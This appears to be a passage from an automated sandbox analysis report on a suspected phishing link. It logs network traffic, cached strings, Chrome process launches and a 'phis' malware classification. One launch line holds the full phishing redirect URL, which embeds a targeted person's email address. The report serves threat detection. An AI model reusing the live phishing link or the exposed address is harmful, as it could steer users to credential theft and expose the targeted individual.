Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 14:21:26 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: MnZOU1Z0VR2/NPOxELpOMMizIH/pS7Qa9YE=$KvsTNQ8dcGdPq9lHcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8b7bbfc37c85433e-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 14:21:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Age: 1954Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WfrpXmufTRjHm3vaI1iXVyAQUvLS6qjzsAtLBtw%2FvbY3OXFL4FRP%2BuqOaFGhWSEQKVjRDDq1Zkt%2BG%2B6z7o8rYvpAFnyoPHPkK%2Bm3vixwWh9q%2BF84vBjw8HMpjOL8ew%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400CF-Cache-Status: HITServer: cloudflareCF-RAY: 8b7bbff56939b9c5-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 14:21:40 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: AUNTJr1FLVeSiSvjOksPqu6zX2BN1ScDNnQ=$kCTF4EjczPSmfwWDServer: cloudflareCF-RAY: 8b7bc016f8691a38-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 14:21:43 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: UePUCGj6gwcqAWZLuS5sog89KOiahcQ3rFU=$fqqBfO5R5+AnLi8OServer: cloudflareCF-RAY: 8b7bc02b1ecb439c-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 14:21:47 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: +HP/aS4wccD6Rz9nweGXOR1d8/z51038lP4=$JMDu30XypeKRic/aServer: cloudflareCF-RAY: 8b7bc044bb791879-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 14:21:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2A8qTXCNIUzq6pGgHowNGa1x1LpVI%2Bgoua5riqoZXXpfhg3%2F9KXGi6EnrQdwqqlV0NE6pwj%2FxW2nazL6N6tjRpDN6aHcRx1XT1JVSdr8dwUww3ULXM%2Ft%2FWhd%2FFTn2g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 8b7bc0583e297c90-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 14:21:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BIaDbFV4pJkCrlUB31Pnmw%2BPlQ2sSbrW0U%2BeWBYRZW4QXcSDCvR55R5VljG9ZoXi2alDIsuUkBBnXhyxK45mpbw3j65jaHKzbus11oPw5HpKQV1P5hBlPvsnwpwOMQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 8b7bc07d38169e16-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Aug 2024 14:22:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EVnSOwDbG%2FqrVetDxvTHriFDUgiPCNPmMlnm8KhGgUEbfr7z10Mh8vg7a3yKL3JrhLaPwJbpEYMmpY0lIMRp6%2FF9puod3nqEMBCydRICir23grDKCtLIsLleJbuqcQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 8b7bc097e8cc4304-EWR

Source: chromecache_144.1.dr, chromecache_159.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_151.1.dr, chromecache_108.1.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_151.1.dr, chromecache_108.1.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_151.1.dr, chromecache_108.1.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_151.1.dr, chromecache_108.1.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_151.1.dr, chromecache_108.1.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_144.1.dr, chromecache_159.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_104.1.dr, chromecache_124.1.dr	String found in binary or memory: https://i.imgur.com/xA8aaXN.png
Source: chromecache_108.1.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_108.1.dr	String found in binary or memory: https://recaptcha.net
Source: chromecache_108.1.dr	String found in binary or memory: https://support.google.com/recaptcha
Source: chromecache_151.1.dr, chromecache_108.1.dr	String found in binary or memory: https://support.google.com/recaptcha#6262736
Source: chromecache_151.1.dr, chromecache_108.1.dr	String found in binary or memory: https://support.google.com/recaptcha/#6175971
Source: chromecache_151.1.dr, chromecache_108.1.dr	String found in binary or memory: https://support.google.com/recaptcha/?hl=en#6223828
Source: chromecache_147.1.dr, chromecache_134.1.dr, chromecache_151.1.dr, chromecache_108.1.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_151.1.dr, chromecache_108.1.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/i7X0JrnYWy9Y_5EYdoFM79kV/recaptcha__.
Source: chromecache_147.1.dr, chromecache_134.1.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/i7X0JrnYWy9Y_5EYdoFM79kV/recaptcha__en.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49827 version: TLS 1.2

Source: classification engine

Classification label: mal76.phis.win@20/117@70/30

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot#Kirsten.stevens+sueryder.org
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2024,i,398591596935151455,854942371807318749,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2024,i,398591596935151455,854942371807318749,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
